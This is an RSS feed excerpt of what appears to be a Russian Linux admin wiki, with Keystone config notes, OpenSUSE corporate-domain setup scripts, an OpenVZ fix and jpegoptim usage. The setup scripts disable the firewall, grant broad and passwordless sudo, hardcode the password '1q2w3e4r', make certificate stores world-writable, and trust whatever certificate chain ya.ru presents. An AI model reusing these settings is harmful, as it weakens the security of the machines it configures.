В этом случае, скорее всего, есть два файла в &lt;strong&gt;/etc/apache2/sites-enabled/&lt;/strong&gt; в котором присутствует строка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;WSGIDaemonProcess keystone-public  &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Apache: Name duplicates previous WSGI daemon definition.&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;apachename_duplicates_previous_wsgi_daemon_definition&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2075-2524&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;различия_между_liberty_и_mitaka&quot;&gt;Различия между liberty и   mitaka&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В файлике &lt;strong&gt;/etc/keystone/keystone.conf&lt;/strong&gt;:&lt;br/&gt;

&lt;strong&gt;Liberty&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[token]
...
provider = uuid&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;
Mitaka&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[token]
...
provider = fernet&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u043c\u0435\u0436\u0434\u0443 liberty \u0438   mitaka&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u044f_\u043c\u0435\u0436\u0434\u0443_liberty_\u0438_mitaka&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2525-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>opensuse_setup_script</title>
            <link>https://wiki.autosys.tk/linux_faq/opensuse_setup_script</link>
            <description>&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME=&amp;quot;test&amp;quot;
NEW_DOMAINNAME=&amp;quot;sigma.sbrf.ru&amp;quot;
DNS_SERVERS=&amp;quot;10.21.7.212 10.21.7.214&amp;quot;
DNS_STATIC_SEARCHLIST=&amp;quot;Sigma.sbrf.ru sberbank.ru&amp;quot;

####################################
#### Setting Software Repos
####################################
zypper repos | grep Yes | cut -f3 -d &amp;#039;|&amp;#039; | sed -e &amp;quot;s/ //&amp;quot; | awk &amp;#039;{print &amp;quot;zypper mr -dRK &amp;quot; $1}&amp;#039; | sudo bash
sudo zypper ar -G -c -n &amp;quot;SB-OpenSUSE-oss&amp;quot; -f http://10.23.48.12/opensuse/distribution/leap/42.1/oss/suse sb-opensuse-oss
sudo zypper mr -erk -p 5 SB-OpenSUSE-oss
sudo zypper ar -G -c -n &amp;quot;SB-OpenSUSE-update-oss&amp;quot; -f http://10.23.48.12/opensuse/update/leap/42.1/oss sb-opensuse-update-oss
sudo zypper mr -erk -p 5 SB-OpenSUSE-update-oss
sudo zypper ar -G -c -n &amp;quot;SB-OpenSUSE-packman&amp;quot; -f http://10.23.48.12/opensuse/packman/openSUSE_Leap_42.1 sb-opensuse-packman
sudo zypper mr -erk -p 5 SB-OpenSUSE-packman
sudo zypper ar -G -c -n &amp;quot;SB-OpenSUSE-Sky&amp;quot; http://10.23.48.12/opensuse/tel.red/repos/opensuse/42.1/ sb-opensuse-sky
sudo zypper mr -erk -p 5 SB-OpenSUSE-Sky
sudo zypper ar -G -c -n &amp;quot;SB-OpenSUSE-YandexBrowser-beta&amp;quot; -f http://10.23.48.12/opensuse/repo.yandex.ru/yandex-browser/rpm/beta/x86_64 sb-opensuse-yandexbrowser-beta
sudo zypper mr -erk -p 5  SB-OpenSUSE-YandexBrowser-beta
sudo zypper ar -G -c -n &amp;quot;nVidia Graphics Drivers&amp;quot; http://download.nvidia.com/opensuse/leap/42.1 nVidia-Graphics-Drivers
sudo zypper mr -erk -p 5 nVidia-Graphics-Drivers
sudo zypper ar -G -c -n &amp;quot;AMD/ATI Graphics Drivers&amp;quot; -f http://geeko.ioda.net/mirror/amd-fglrx/openSUSE_Leap_42.1/  AMD-Graphics-Drivers
sudo zypper mr -erk -p 5 AMD-Graphics-Drivers

sudo zypper -n up
sudo zypper -n dup
sudo zypper -n in nano yast2-online-update krb5-client

#sudo zypper -n in xrdp mono-complete


###############################################
### Setup Services
###############################################
sudo systemctl enable xrdp 
sudo systemctl enable xrdp-sesman 
sudo systemctl enable sshd 
sudo systemctl enable ntpd 

#sudo systemctl enable SuSEfirewall2 
#sudo SuSEfirewall2 start  
sudo systemctl disable SuSEfirewall2
sudo systemctl stop SuSEfirewall2

sudo systemctl start sshd
sudo systemctl start xrdp 
sudo systemctl start xrdp-sesman
sudo systemctl start ntpd 

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
sudo hostname $NEW_HOSTNAME
sudo domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname
sudo sed -i &amp;#039;/^127.0.0./D&amp;#039; /etc/hosts
echo &amp;quot;127.0.0.1 `hostname`.`domainname` `hostname` localhost&amp;quot; | sudo tee -a /etc/hosts
echo &amp;quot;127.0.0.2 `hostname`.`domainname` `hostname`&amp;quot; | sudo tee -a /etc/hosts

##############################################
### Setting up NameServers
##############################################
sudo sed -i &amp;#039;/NETCONFIG_DNS_STATIC_SEARCHLIST/D&amp;#039; /etc/sysconfig/network/config 
echo &amp;quot;NETCONFIG_DNS_STATIC_SEARCHLIST=\&amp;quot;$DNS_STATIC_SEARCHLIST\&amp;quot;&amp;quot; | sudo tee -a /etc/sysconfig/network/config
sudo sed -i &amp;#039;/NETCONFIG_DNS_STATIC_SERVERS/D&amp;#039; /etc/sysconfig/network/config
echo &amp;quot;NETCONFIG_DNS_STATIC_SERVERS=\&amp;quot;$DNS_SERVERS\&amp;quot;&amp;quot; | sudo tee -a /etc/sysconfig/network/config
sudo sed -i &amp;#039;/NETCONFIG_DNS_POLICY/D&amp;#039; /etc/sysconfig/network/config
echo &amp;quot;NETCONFIG_DNS_POLICY=\&amp;quot;STATIC NetworkManager\&amp;quot;&amp;quot; | sudo tee -a /etc/sysconfig/network/config

#############################################
#### Setting sudo
#############################################
sudo sed -i &amp;#039;s/Defaults\ targetpw/\#Defaults\ targetpw/g&amp;#039; /etc/sudoers
sudo sed -i &amp;#039;s/^ALL.*ALL=(ALL)\ ALL/\#ALL\ ALL=(ALL)\ ALL/g&amp;#039; /etc/sudoers

sudo cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL 
%SIGMA\\Domain\ Users          ALL=(ALL) ALL 
%\\Domain\ Users          ALL=(ALL) ALL
%SIGMA\\Domain\ Admins      ALL=(ALL) NOPASSWD: ALL 
%\\Domain\ Admins      ALL=(ALL) NOPASSWD: ALL
EOF

#########################################
### Setup NTP servers
#########################################
sudo sed -i &amp;#039;/^server/D&amp;#039; /etc/ntp.conf
cat &amp;lt;&amp;lt;EOF | sudo tee -a /etc/ntp.conf 
server cab-vsp-dc00001.sigma.sbrf.ru iburst 
server cab-vsp-dc00002.sigma.sbrf.ru iburst 
server cab-vsp-dc00003.sigma.sbrf.ru iburst 
server cab-vsp-dc00004.sigma.sbrf.ru iburst 
server cab-vsp-dc00005.sigma.sbrf.ru iburst 
server cab-vsp-dc00006.sigma.sbrf.ru iburst 
server cab-vsp-dc00007.sigma.sbrf.ru iburst 
server cab-vsp-dc00008.sigma.sbrf.ru iburst
EOF

########################################
### Join AD Domain
########################################
sudo yast2 samba-client longhelp


&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>opensuse_setup_script_yast</title>
            <link>https://wiki.autosys.tk/linux_faq/opensuse_setup_script_yast</link>
            <description>
&lt;p&gt;
Запускать так: &lt;strong&gt;sudo -E ./script.sh&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME=&amp;quot;szud-opensuse&amp;quot;
NEW_DOMAINNAME=&amp;quot;sigma.sbrf.ru&amp;quot;
DNS_SERVERS=&amp;quot;10.21.7.212 10.21.7.214&amp;quot;
DNS_STATIC_SEARCHLIST=&amp;quot;$NEW_DOMAINNAME sberbank.ru&amp;quot;
AD_USER=&amp;quot;usik-ma&amp;quot;
DOMAIN_CONTROLLERS=$(cat &amp;lt;&amp;lt;EOF
cab-vsp-dc00001.sigma.sbrf.ru
cab-vsp-dc00002.sigma.sbrf.ru
cab-vsp-dc00003.sigma.sbrf.ru
cab-vsp-dc00004.sigma.sbrf.ru
cab-vsp-dc00005.sigma.sbrf.ru
cab-vsp-dc00006.sigma.sbrf.ru
cab-vsp-dc00007.sigma.sbrf.ru
cab-vsp-dc00008.sigma.sbrf.ru
EOF
)
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)
SDDM_THEME=&amp;quot;elarun&amp;quot;
CA_CERT_PREFIX=&amp;quot;SberBank_Root_CA&amp;quot;

########################################################
### SettingUp Network
########################################################
systemctl disable NetworkManager
systemctl stop NetworkManager
systemctl enable wicked
systemctl start wicked
echo &amp;#039;Waiting for network...&amp;#039;
sleep 10

##############################################
### Setting up NameServers
##############################################
sed -i &amp;quot;/^NETCONFIG_DNS_STATIC_SEARCHLIST=.*\$/ s/=.*$/=\&amp;quot;$DNS_STATIC_SEARCHLIST\&amp;quot;/&amp;quot; /etc/sysconfig/network/config
sed -i &amp;quot;/^NETCONFIG_DNS_STATIC_SERVERS=.*\$/ s/=.*$/=\&amp;quot;$DNS_SERVERS\&amp;quot;/&amp;quot; /etc/sysconfig/network/config
sed -i &amp;quot;/^NETCONFIG_DNS_POLICY=.*\$/ s/=.*$/=\&amp;quot;auto\&amp;quot;/&amp;quot; /etc/sysconfig/network/config

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
hostname $NEW_HOSTNAME
domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname
sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
echo &amp;quot;127.0.0.1 `hostname`.`domainname` `hostname` localhost&amp;quot; | sudo tee -a /etc/hosts
echo &amp;quot;127.0.0.2 `hostname`.`domainname` `hostname`&amp;quot; | sudo tee -a /etc/hosts

########################################
### Reload network settings
########################################
netconfig update -f

####################################
#### Setting Software Repos
####################################
zypper repos | grep Yes | cut -f3 -d &amp;#039;|&amp;#039; | sed -e &amp;quot;s/ //&amp;quot; | awk &amp;#039;{print &amp;quot;zypper mr -dRK &amp;quot; $1}&amp;#039; | sudo bash
zypper ar -G -c -n &amp;quot;SB-OpenSUSE-oss&amp;quot; -f http://10.23.48.12/opensuse/distribution/leap/42.1/oss/suse sb-opensuse-oss
zypper mr -erk -p 5 SB-OpenSUSE-oss
zypper ar -G -c -n &amp;quot;SB-OpenSUSE-update-oss&amp;quot; -f http://10.23.48.12/opensuse/update/leap/42.1/oss sb-opensuse-update-oss
zypper mr -erk -p 5 SB-OpenSUSE-update-oss
zypper ar -G -c -n &amp;quot;SB-OpenSUSE-packman&amp;quot; -f http://10.23.48.12/opensuse/packman/openSUSE_Leap_42.1 sb-opensuse-packman
zypper mr -erk -p 5 SB-OpenSUSE-packman
zypper ar -G -c -n &amp;quot;SB-OpenSUSE-Sky&amp;quot; http://10.23.48.12/opensuse/tel.red/repos/opensuse/42.1/ sb-opensuse-sky
zypper mr -erk -p 5 SB-OpenSUSE-Sky
zypper ar -G -c -n &amp;quot;SB-OpenSUSE-YandexBrowser-beta&amp;quot; -f http://10.23.48.12/opensuse/repo.yandex.ru/yandex-browser/rpm/beta/x86_64 sb-opensuse-yandexbrowser-beta
zypper mr -erk -p 5  SB-OpenSUSE-YandexBrowser-beta
#zypper ar -G -c -n &amp;quot;nVidia Graphics Drivers&amp;quot; http://download.nvidia.com/opensuse/leap/42.1 nVidia-Graphics-Drivers
#zypper mr -erk -p 5 nVidia-Graphics-Drivers
#zypper ar -G -c -n &amp;quot;AMD/ATI Graphics Drivers&amp;quot; -f http://geeko.ioda.net/mirror/amd-fglrx/openSUSE_Leap_42.1/  AMD-Graphics-Drivers
#zypper mr -erk -p 5 AMD-Graphics-Drivers

zypper clean
zypper -n up
zypper -n dup
zypper -n in nano yast2-online-update krb5-client yandex-browser-beta mozilla-nss-tools sky kernel-devel pam_krb5 openssl
zypper -n in --type pattern devel_basis

#sudo zypper -n in xrdp mono-complete

###############################################
### Setup Services
###############################################
systemctl enable xrdp 
systemctl enable xrdp-sesman 
systemctl enable sshd 
systemctl enable ntpd 

#systemctl enable SuSEfirewall2 
#SuSEfirewall2 start  
systemctl disable SuSEfirewall2
systemctl stop SuSEfirewall2

systemctl start sshd
systemctl start xrdp 
systemctl start xrdp-sesman
systemctl start ntpd 

#############################################
#### Setting sudo
#############################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ users          ALL=(ALL) ALL 
%domain\ users          ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ admins      ALL=(ALL) NOPASSWD: ALL 
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i &amp;quot;/^Defaults\ targetpw.*\$/ s/^/#/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^ALL.*ALL=(ALL).*\$/ s/^/#/&amp;quot; /etc/sudoers

#########################################
### Setup NTP servers
#########################################
echo &amp;quot;Setting ntp client settings...&amp;quot;
yast2 ntp-client delete server=&amp;quot;0.opensuse.pool.ntp.org&amp;quot;
yast2 ntp-client delete server=&amp;quot;1.opensuse.pool.ntp.org&amp;quot;
yast2 ntp-client delete server=&amp;quot;2.opensuse.pool.ntp.org&amp;quot;
yast2 ntp-client delete server=&amp;quot;3.opensuse.pool.ntp.org&amp;quot;

for i in $DOMAIN_CONTROLLERS;
do 
yast2 ntp-client add server=&amp;quot;$i iburst&amp;quot;
done

########################################
#### Install Citrix VDA
########################################
#sudo zypper -n in ./XenDesktopVDA-7.12.0.375-1.sle12_1.x86_64.rpm
#/opt/Citrix/VDA/sbin/ctxsetup.sh

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat &amp;lt;&amp;lt;EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $i&amp;quot;;done)

REALMS=$(cat &amp;lt;&amp;lt;EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat &amp;lt;&amp;lt;EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM 
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]                                                         
pam = {                                                               
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
        
EOF
)

echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat &amp;lt;&amp;lt;EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        printing = cups
        printcap name = cups
        printcap cache time = 750
        cups options = raw
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        logon path = \\%L\profiles\.msprofile
        logon home = \\%L\%U\.9xprofile
        logon drive = P:
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        winbind offline logon = true
        winbind refresh tickets = true
        kerberos method = secrets and keytab
        winbind use default domain = yes
[homes]
        comment = Home Directories
        valid users = %S, %D%w%S
        browseable = No
        read only = No
        inherit acls = Yes
[profiles]
        comment = Network Profiles Service
        path = %H
        read only = No
        store dos attributes = Yes
        create mask = 0600
        directory mask = 0700
[users]
        comment = All users
        path = /home
        read only = No
        inherit acls = Yes
        veto files = /aquota.user/groups/shares/
[groups]
        comment = All groups
        path = /home/groups
        read only = No
        inherit acls = Yes
[printers]
        comment = All Printers
        path = /var/tmp
        printable = Yes
        create mask = 0600
        browseable = No
[print$]
        comment = Printer Drivers
        path = /var/lib/samba/drivers
        write list = @ntadmin root
        force group = ntadmin
        create mask = 0664
        directory mask = 0775
EOF
)

mv /etc/samba/smb.conf.bak /etc/samba/smb.conf
cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
echo &amp;quot;$SMB_CONF&amp;quot; &amp;gt; /etc/samba/smb.conf

###############################################
#### Configure /etc/security/pam_winbind.conf
###############################################
PAM_WINBIND=$(cat &amp;lt;&amp;lt;EOF
        cached_login = yes
        krb5_auth = yes
        krb5_ccache_type = FILE
EOF
)

mv /etc/security/pam_winbind.conf.bak /etc/security/pam_winbind.conf
cp /etc/security/pam_winbind.conf /etc/security/pam_winbind.conf.bak
while read line
do
        echo $line &amp;gt;&amp;gt; /etc/security/pam_winbind.conf_new
        echo $line | grep -q &amp;quot;\[global\]&amp;quot; 
        [ $? -eq 0 ] &amp;amp;&amp;amp; echo &amp;quot;$PAM_WINBIND&amp;quot; &amp;gt;&amp;gt; /etc/security/pam_winbind.conf_new
done &amp;lt; /etc/security/pam_winbind.conf
mv /etc/security/pam_winbind.conf_new /etc/security/pam_winbind.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i &amp;#039;/^passwd:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^group:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^hosts:/ s/:.*$/: files dns/&amp;#039; /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
pam-config --add --winbind --mkhomedir 
#--krb5

#################################################
### Disable autologin
#################################################
sed -i &amp;quot;/^DISPLAYMANAGER_AUTOLOGIN=.*\$/ s/=.*$/=\&amp;quot;\&amp;quot;/&amp;quot; /etc/sysconfig/displaymanager

#################################################
#### Set SDDM Theme to allow input Username
#################################################
sed -i &amp;quot;/^Current=.*\$/ s/=.*$/=$SDDM_THEME/&amp;quot; /etc/sddm.conf

########################################
### Add Certificates
###########################################
openssl s_client -showcerts -connect ya.ru:443 &amp;lt;/dev/null &amp;gt; chain.pem
csplit -k -f $CA_CERT_PREFIX ./chain.pem &amp;#039;/END CERTIFICATE/+1&amp;#039; {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L &amp;#039;END CERTIFICATE&amp;#039; &amp;#039;{}&amp;#039; + | xargs -d &amp;#039;\n&amp;#039; rm
for file in &amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo mv &amp;quot;$file&amp;quot; /etc/pki/trust/anchors/&amp;quot;$file&amp;quot;.pem ; done
for file in /etc/pki/trust/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo cp &amp;quot;$file&amp;quot; /etc/ssl/certs/ ; done                                                                                              
c_rehash /etc/ssl/certs/                                                                                                                                                                  
c_rehash /etc/pki/trust/anchors/                                                                                                                                                          
update-ca-certificates                                                                                                                                                                    
rm -f ./chain.pem                                                                                                                                                                              
                                                                                                                                                                                               
#######################################################                                                                                                                                        
#### Import CA Certificates into Browsers                                                                                                                                                      
#   http://blog.xelnor.net/firefox-systemcerts/                                                                                                                                                
#######################################################                                                                                                                                        
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)                                                                                                                                              
zypper -n install mozilla-nss-tools                                                                                                                                                       
rm -Rf $HOMEDIR/.mozilla                                                                                                                                                                  
rm -Rf $HOMEDIR/.pki                                                                                                                                                                      
                                                                                                                                                                                               
########################################################                                                                                                                                       
#### Create and fill cert8.db in Firefox Profile                                                                                                                                               
########################################################                                                                                                                                       
killall firefox                                                                                                                                                                           
sudo -u  $SUDO_USER firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR&amp;#039;/.mozilla/firefox/&amp;#039; -iname &amp;#039;*.default&amp;#039;);
for certificateFile in /etc/pki/trust/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /etc/pki/trust/anchors/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n &amp;quot;${certificateFile}&amp;quot; -t &amp;quot;TCu,Cuw,Tuw&amp;quot; -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

#########################################################
### Disable KDEWallet By Default
#########################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

mkdir --parents /etc/skel/.kde/share/config/
cp /etc/skel/.config/kwalletrc /etc/skel/.kde/share/config/kwalletrc

############################################################
#### Install Adobe Flash
############################################################
zypper ar -G -c -n &amp;quot;Adobe Software Repository&amp;quot; -f http://linuxdownload.adobe.com/linux/x86_64/ Adobe
zypper -n rm  flash-player-24.0.0.221-1.1.x86_64
zypper mr -dRK sb-opensuse-packman
zypper -n in  adobe-release-x86_64 flash-pl*
zypper mr -eRK sb-opensuse-packman

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

########################################
### Join AD Domain
########################################
systemctl enable nmb.service
systemctl enable smb.service
systemctl enable winbind.service

service nmb restart
service smb restart
service winbind restart

ping -c 5 $DOMAIN_CONTROLLERS &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;amp; net ads join -U $AD_USER || echo &amp;quot;Join AD failed. Ping Domain Controller failed&amp;quot;
service winbind restart &amp;amp;&amp;amp; service nmb restart &amp;amp;&amp;amp; service smb restart
wbinfo -P
wbinfo -t
wbinfo -n=$computername
&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;setup_vda&quot;&gt;Setup VDA&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST=&amp;quot;v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru&amp;quot; \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=1 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_LDAP_LIST=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_SEARCH_BASE=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Setup VDA&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;setup_vda&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;17152-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>openvz-error-no-checkpointing-support-unable-to-open-proc-cpt-no-such-file-or-directory</title>
            <link>https://wiki.autosys.tk/linux_faq/openvz-error-no-checkpointing-support-unable-to-open-proc-cpt-no-such-file-or-directory</link>
            <description>
&lt;p&gt;
Если при попытке клонировать контейнер OpenVZ или сделать его дамп вываливается ошибка :&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Error: No checkpointing support, unable to open /proc/cpt: No such file or directory&lt;/pre&gt;

&lt;p&gt;
То нужно на хосте OpenVZ просто подгрузить недостающий модуль:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;modprobe vzcpt&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>optimized_kernel</title>
            <link>https://wiki.autosys.tk/linux_faq/optimized_kernel</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;оптимизиированные_ядра&quot;&gt;Оптимизиированные ядра&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://liquorix.net/&quot; class=&quot;urlextern&quot; title=&quot;https://liquorix.net/&quot; rel=&quot;ugc nofollow&quot;&gt;https://liquorix.net/&lt;/a&gt; - из этого ядра выпилено многое. Docker на нем не работает.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 10 Aug 2020 14:17:03 +0000</pubDate>
        </item>
        <item>
            <title>optimize_jpgs_using_cli</title>
            <link>https://wiki.autosys.tk/linux_faq/optimize_jpgs_using_cli</link>
            <description>
&lt;p&gt;
Для пересылки по электронной почте мне понадобилось оптимизировать размер некоторого количества jpeg-файлов. &lt;br/&gt;

В &lt;strong&gt;ubuntu linux&lt;/strong&gt; сделать это можно с помощью утилиты &lt;strong&gt;jpegoptim&lt;/strong&gt;. Она позволяет как оптимизировать размер без потери качества, так и с потерей качества, указав его необходимый уровень. &lt;br/&gt;

Устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install jpegoptim&lt;/pre&gt;

&lt;p&gt;
Проверяем, насколько можно сжать файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -n file.jpg&lt;/pre&gt;

&lt;p&gt;
Сжимаем один файл без потери качества:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim file.jpg&lt;/pre&gt;

&lt;p&gt;
Утилита сожмет и перезапишет файл. Если сжимать дальше уже невозможно, то файл будет пропущен. &lt;br/&gt;

Можно избежать перезаписи исходного файла, указав директорию для сохранения оптимизированных файлов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -d ./optimized file.jpg&lt;/pre&gt;

&lt;p&gt;
Сохранить аттрибуты файла (дата/время создания файла) можно, указав опцию &lt;strong&gt;-p&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -d ./optimized -p file.jpg&lt;/pre&gt;

&lt;p&gt;
Сжать файл с потерей качества можно, указав опцию &lt;strong&gt;-mNN&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;jpegoptim -m50 file.jpg&lt;/pre&gt;

&lt;p&gt;
